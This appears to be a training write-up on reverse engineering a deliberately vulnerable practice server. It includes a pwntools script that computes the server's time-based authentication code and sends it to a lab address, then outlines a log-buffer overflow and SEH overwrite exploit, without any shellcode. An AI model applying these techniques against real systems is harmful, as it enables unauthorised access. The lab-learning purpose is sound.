# Lets learn Reverse Engineer 3!
###### tags: `reverse engineering`, `windows`, `pwn`
One of the OSED student has kindly write some vulnerable server for us to practice. Below is the link and release version:
https://github.com/bmdyy/signatus
## First deobfuscation
This seems like some obfuscation but actually edi still ends up as the same value you send in **little endian**.
## Second deobfuscation
```
.text:60AE1397 01C or edi, eax ; edi still looks like the original packet
.text:60AE1399 01C call ds:_time64
```
From msdn,
```
_time64 returns the time as seconds elapsed since midnight, January 1, 1970, or -1 in the case of an error.
```
To do this in python3, we just
```
import time
ticks = time.time()
print("Time = ", hex(int(ticks)))
```
Output from time64 is then sent into `sub_60AE2490`.
After more deobfuscation, my final script is
```
from pwn import *
import time; # This is required to include time module.
def sub_60AE2490():
ecx = 0xa
eax = 0x0
eax = eax / ecx
ebx = eax
eax = (int(time.time()))
print("time = ", hex(eax))
eax1 = eax
eax = eax1 // ecx
edx = eax1 % ecx
edx = ebx
print("ecx = ", hex(ecx))
print("eax = ", (eax))
return eax
#After sub_60AE2490 to 0x60AE13E3
def algo2(result):
eax = result.to_bytes(4, byteorder='big')
esi = eax[3]
eax = esi
eax = eax * esi
ecx = eax
ecx = ecx * esi
edx = ecx
ecx = ecx * esi
edx = edx & 0xFFFFFF00
edx = edx << 4
edx = edx | eax
edx = edx & 0xFFFFFFF0
ecx = ecx & 0xFFFFF000
ecx = (ecx << 8) & 0xffffffff
edx = edx | ecx
edx = (edx << 4) & 0xffffffff
edx = edx | esi
edx = edx ^ 0x74829726
print("Final result = ", hex(edx))
return edx
p = remote("192.168.106.136", 9999)
result = sub_60AE2490()
print("Result of sub_60AE2490 =" ,hex(result))
result = algo2(result)
packet1 = p32(result)
p.sendline(packet1)
p.interactive()
```
Finally getting the correct otd...
## Moving on..
After OTD is verified, a recv is called again which receives the opcode.
Opcode 1: It allows us to write a buffer into a log file.
Opcode 2: It allows us to read the log file.
The vuln is easy to detect. In opcode 2, a size of 0x800 buffer is allocated to read the file. However, the file can have more than 0x800, which will cause a crash.
In order to trigger a vuln, we will write 0x800 bytes into the log twice. Now the log stores 0x1000. Then we retrieve the file.
## Onward to real exploitation (hopefully)
`
009effcc: 65413465
Invalid exception stack at 41336541
`
Subsequently, its a normal nSEH overflow.
1) Detect bad characters
2) Short jump in front to skip the nSEH byte code
3) Jmp backwards into our shellcode
Hooray!
